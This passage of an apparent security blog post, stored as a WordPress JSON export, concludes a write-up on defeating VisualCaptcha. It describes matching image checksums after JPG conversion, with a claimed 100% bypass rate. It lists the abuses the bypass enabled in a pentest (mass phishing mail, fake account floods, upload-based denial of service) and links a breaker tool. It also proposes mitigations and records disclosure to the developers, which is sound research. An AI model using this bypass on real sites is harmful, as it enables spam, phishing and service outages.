allowfullscreen><\/iframe><\/p>\n<p style=\"text-align: center;\"><span style=\"color: #339966;\"><strong>Bingo! &#8220;status=validImage&#8221; for each test ! (Tested with more than 10 000 requests\u00a0with\u00a0100% success).<\/strong><\/span><\/p>\n<h1>Conclusion<\/h1>\n<p>It was during one of my pentest missions that I test\u00a0VisualCaptcha. This one was built natively default captcha solution in a known and widely used CMS.<\/p>\n<p>By digging a little into\u00a0this captcha solution that says &#8220;<em>never broken by a bot (as far we know)<\/em>&#8221; I pushed the analysis to the production of this present article and the creation of a tool with 100% success rate.<\/p>\n<p>The VisualCaptcha on which I fought was obsolete (old version before 2014), and the safety of 1 to 50 random bytes added to the images was not present &#8230; A first version of the script was therefore based on checkSum PNG without going through a conversion to JPG.<\/p>\n<p>Only after being interested in the latest VisualCaptcha, particularly through the demo portal, the idea of converting JPG to bypass this protection has been implemented successfully.<\/p>\n<p>VisualCaptcha is a great solution (though breakable). But after all, when a captcha uses a fixed size of knowledge base, the solution is considered\u00a0to be non-secure.<\/p>\n<p>This is one of the few simple solutions to implement, compatible with a multitude of technologies, fully open-source, beautiful and easy to use (it must be said!) while being particularly suitable for touchscreen terminals.<\/p>\n<p>How to improve the security in this case? Several ideas:<\/p>\n<ul>\n<li>Add &#8220;behavioral&#8221; controls like Google &#8220;reCAPTCHA&#8221; in the validation process<\/li>\n<li>Improve the mechanics of making random images with 1 to 50 bytes added, changing pixels such that even when converting JPG checksums differ.\n<ul>\n<li>Certainly OCR solutions can still get around, but the scripting task will be even more complex for a potential attacker.<\/li>\n<li>There are also alternatives to outright checksum, as <a href=\"http:\/\/phash.org\/\" target=\"_blank\">pHash<\/a> that the solution will thwart.<\/li>\n<\/ul>\n<\/li>\n<li>If the images have a random bytes\u00a0to every load (to avoid checksum), think about doing the same for the audio (which seems to be the case, to experience!)<\/li>\n<li>To limit the number of mass submission of protected forms via VisualCaptcha, it would be interesting to add a minimum time a user must wait between initialization captcha (AJAX call &#8220;\/start&#8221;) and the final submission form. Indeed, for a contact form for example, the user will take at least a few seconds to fill out all fields and select the right captcha, so add this security natively.<\/li>\n<\/ul>\n<p>A <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/24\" target=\"_blank\">issue<\/a>\u00a0was opened on the official GitHub of VisualCaptcha to present these ideas\u00a0and demonstration.<\/p>\n<p>For the initial pentest I was leading this &#8220;breaking VisualCaptcha&#8221; helped develop scripts \/ PoC illustrative of attack scenarios:<\/p>\n<ul>\n<li>Sending mass emails fraudulent, with phishing attempt<\/li>\n<li>Creating thousands \/ millions of user accounts to saturate a database<\/li>\n<li>Upload a multitude of files to saturate the server-side disk space and cause a denial of service (DoS)<\/li>\n<li>Etc.<\/li>\n<\/ul>\n<p>All these targets forms were initially protected via VisualCaptcha.<\/p>\n<p>For the future, when I get some time, I&#8217;ll dig the &#8220;audio&#8221; side of the solution &#8230;<\/p>\n<p>I wanted to thank Bruno Bernardino, one of the main developers of VisualCaptcha and initiator of the project, for his kindness and his interest about the discussions we have had on <a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/24\" target=\"_blank\">GitHub<\/a>.<\/p>\n<h1>Sources &amp; resources<\/h1>\n<ul>\n<li><a href=\"http:\/\/visualcaptcha.net\/\" target=\"_blank\">VisualCaptcha.net<\/a><\/li>\n<li><a href=\"http:\/\/demo.visualcaptcha.net\/\" target=\"_blank\">Demo VisualCaptcha.net<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\" target=\"_blank\">GitHub VisualCaptcha<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/yanncam\/VisualCaptchaBreaker\" target=\"_blank\">GitHub VisualCaptchaBreaker<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/24\" target=\"_blank\">GitHub issue related to this topic<\/a><\/li>\n<li><a href=\"https:\/\/www.youtube.com\/watch?v=fkfeDQqXNdk\" target=\"_blank\">Demonstration video<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/emotionLoop\/visualCaptcha\/issues\/2\" target=\"_blank\">Security improvement for brute-force collection #2 &#8211; VisualCaptcha GitHub issue<\/a><\/li>\n<li><a href=\"http:\/\/security.stackexchange.com\/questions\/83730\/how-strong-is-visualcaptcha?rq=1\" target=\"_blank\">How strong is visualCaptcha? &#8211; Security StackExchange<\/a><\/li>\n<li><a href=\"https:\/\/www.google.fr\/webhp?sourceid=chrome-instant&amp;ion=1&amp;espv=2&amp;ie=UTF-8#q=%22Type+below+the+answer+to+what+you+hear%22\" target=\"_blank\">Website that use VisualCaptcha<\/a><\/li>\n<\/ul>\n<p><\/p>","protected":false},"excerpt":{"rendered":"<p>VisualCaptcha is a very widely used solution through the Internet to protect against automated robots and scripts. This solution, however, [&hellip;]<\/p>\n","protected":false},"author":1337,"featured_media":2099,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,15],"tags":[488,482,480,486,487,483,216,484,485,481,489],"class_list":["post-2050","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-prog-and-dev","category-projects-and-tools","tag-audio","tag-breaking","tag-captcha","tag-cracking","tag-images","tag-md5sum","tag-python","tag-start","tag-turing-test","tag-visualcaptcha","tag-visualcaptcha-net"],"_links":{"self":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2050","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/users\/1337"}],"replies":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/comments?post=2050"}],"version-history":[{"count":39,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2050\/revisions"}],"predecessor-version":[{"id":2105,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/posts\/2050\/revisions\/2105"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media\/2099"}],"wp:attachment":[{"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/media?parent=2050"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/categories?post=2050"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.asafety.fr\/en\/wp-json\/wp\/v2\/tags?post=2050"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}